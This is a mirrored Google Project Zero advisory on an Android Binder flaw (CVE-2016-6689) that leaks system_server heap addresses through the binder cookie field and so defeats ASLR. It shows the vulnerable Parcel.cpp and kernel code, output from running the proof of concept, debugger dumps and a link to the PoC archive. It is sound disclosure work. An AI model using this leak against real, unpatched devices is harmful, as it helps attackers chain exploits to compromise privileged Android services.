Lucene search
K

Android - Binder Generic ASLR Leak Vulnerability

🗓️ 12 Oct 2016 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 46 Views

Android Binder Generic ASLR Leak Vulnerability in Parcel.cp

Related
Code
ReporterTitlePublishedViews
Family
Android Security Bulletins
Android Security Bulletin—October 2016Stay organized with collectionsSave and categorize content based on your preferences.
3 Oct 201600:00
androidsecurity
Circl
CVE-2016-6689
12 Oct 201600:00
circl
CNVD
Android kernel sensitive information leakage vulnerability (CNVD-2016-09566)
13 Oct 201600:00
cnvd
CVE
CVE-2016-6689
10 Oct 201610:00
cve
Cvelist
CVE-2016-6689
10 Oct 201610:00
cvelist
EUVD
EUVD-2016-7592
7 Oct 202500:30
euvd
NVD
CVE-2016-6689
10 Oct 201611:00
nvd
OSV
CVE-2016-6689
10 Oct 201611:00
osv
OSV
UBUNTU-CVE-2016-6689
10 Oct 201611:00
osv
Prion
Information disclosure
10 Oct 201611:00
prion
Rows per page
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=889
 
The interaction between the kernel /dev/binder and the usermode Parcel.cpp mean
that when a binder object is passed as BINDER_TYPE_BINDER or BINDER_TYPE_WEAK_BINDER,
a pointer to that object (in the server process) is leaked to the client process
as the cookie value. This leads to a leak of a heap address in many of the privileged
binder services, including system_server.
 
See attached PoC, which leaks the addresses of allocated heap objects in system_server.
 
Output running from the shell (run on droidfood userdebug build, MTC19X):
 
[email protected]:/ $ /data/local/tmp/binder_info_leak                            
--- binder info leak ---
[0] opening /dev/binder
[0] looking up activity
0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 .
0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 .
0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
0064: 08 . 00 . 00 . 00 . 61 a 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 .
0080: 74 t 00 . 79 y 00 . 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1000  data 24  offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 55 U 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr 0000005500000001  cookie 0000000000000000
[0] got handle 00000001
0000: 00 . 01 . 00 . 00 . 1c . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 61 a 00 . 70 p 00 . 70 p 00 . 2e . 00 .
0032: 49 I 00 . 41 A 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 . 74 t 00 .
0048: 79 y 00 . 4d M 00 . 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 .
0064: 00 . 00 . 00 . 00 . 05 . 00 . 00 . 00 . 70 p 00 . 77 w 00 . 6e n 00 . 65 e 00 .
0080: 64 d 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1000  data 28  offs 8
0000: 00 . 00 . 00 . 00 . 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 02 . 00 . 00 . 00 .
0016: 7f . 00 . 00 . 00 . c0 . 19 . 9d . 8b . 7f . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr 0000007f00000002  cookie 0000007f8b9d19c0
[0] got handle 00000000
 
 
Debugger output from system_server
 
pwndbg> hexdump 0x0000007f8b9d19c0
+0000 0x7f8b9d19c0  38 35 76 ab  7f 00 00 00  00 00 00 00  00 00 00 00  |85v.|....|....|....|
+0010 0x7f8b9d19d0  65 00 6e 00  74 00 5f 00  40 d1 0c a8  7f 00 00 00  |e.n.|t._.|@...|....|
+0020 0x7f8b9d19e0  6a 16 20 00  00 00 00 00  20 ad 81 ab  7f 00 00 00  |j...|....|....|....|
+0030 0x7f8b9d19f0  e0 fc 7f 8e  7f 00 00 00  a0 f2 c7 8a  7f 00 00 00  |....|....|....|....|
+0040 0x7f8b9d1a00  
 
This is pretty obviously the case; the code in Parcel.cpp that flattens binder objects
to pass via binder transactions:
 
status_t flatten_binder(const sp<ProcessState>& /*proc*/,
    const sp<IBinder>& binder, Parcel* out)
{
    flat_binder_object obj;
 
    obj.flags = 0x7f | FLAT_BINDER_FLAG_ACCEPTS_FDS;
    if (binder != NULL) {
        IBinder *local = binder->localBinder();
        if (!local) {
            BpBinder *proxy = binder->remoteBinder();
            if (proxy == NULL) {
                ALOGE("null proxy");
            }
            const int32_t handle = proxy ? proxy->handle() : 0;
            obj.type = BINDER_TYPE_HANDLE;
            obj.binder = 0; /* Don't pass uninitialized stack data to a remote process */
            obj.handle = handle;
            obj.cookie = 0;
        } else {
            obj.type = BINDER_TYPE_BINDER;
            obj.binder = reinterpret_cast<uintptr_t>(local->getWeakRefs());
            obj.cookie = reinterpret_cast<uintptr_t>(local); // <--- is a pointer to the object
        }
    } else {
        obj.type = BINDER_TYPE_BINDER;
        obj.binder = 0;
        obj.cookie = 0;
    }
 
    return finish_flatten_binder(binder, obj, out);
}
 
and the kernel code which processes this to send to the target process modifies
the fp->handle entry, overwriting fp->binder, but does not alter fp->cookie, which
contains the second pointer.
 
    case BINDER_TYPE_BINDER:
    case BINDER_TYPE_WEAK_BINDER: {
      struct binder_ref *ref;
      struct binder_node *node = binder_get_node(proc, fp->binder);
      if (node == NULL) {
        node = binder_new_node(proc, fp->binder, fp->cookie);
        if (node == NULL) {
          return_error = BR_FAILED_REPLY;
          goto err_binder_new_node_failed;
        }
        node->min_priority = fp->flags & FLAT_BINDER_FLAG_PRIORITY_MASK;
        node->accept_fds = !!(fp->flags & FLAT_BINDER_FLAG_ACCEPTS_FDS);
      }
      if (fp->cookie != node->cookie) {
        binder_user_error("%d:%d sending u%016llx node %d, cookie mismatch %016llx != %016llx\n",
          proc->pid, thread->pid,
          (u64)fp->binder, node->debug_id,
          (u64)fp->cookie, (u64)node->cookie);
        goto err_binder_get_ref_for_node_failed;
      }
      if (security_binder_transfer_binder(proc->tsk, target_proc->tsk)) {
        return_error = BR_FAILED_REPLY;
        goto err_binder_get_ref_for_node_failed;
      }
      ref = binder_get_ref_for_node(target_proc, node);
      if (ref == NULL) {
        return_error = BR_FAILED_REPLY;
        goto err_binder_get_ref_for_node_failed;
      }
      if (fp->type == BINDER_TYPE_BINDER)
        fp->type = BINDER_TYPE_HANDLE;
      else
        fp->type = BINDER_TYPE_WEAK_HANDLE;
      fp->handle = ref->desc;
      binder_inc_ref(ref, fp->type == BINDER_TYPE_HANDLE,
               &thread->todo);
      trace_binder_transaction_node_to_ref(t, node, ref);
      binder_debug(BINDER_DEBUG_TRANSACTION,
             "        node %d u%016llx -> ref %d desc %d\n",
             node->debug_id, (u64)node->ptr,
             ref->debug_id, ref->desc);
    } break;
 
In the case of 64-bit processes, we also leak the high dword of the fp->binder pointer, because 
a uint32_t is smaller than a binder_uintptr_t.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40515.zip

#  0day.today [2018-01-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation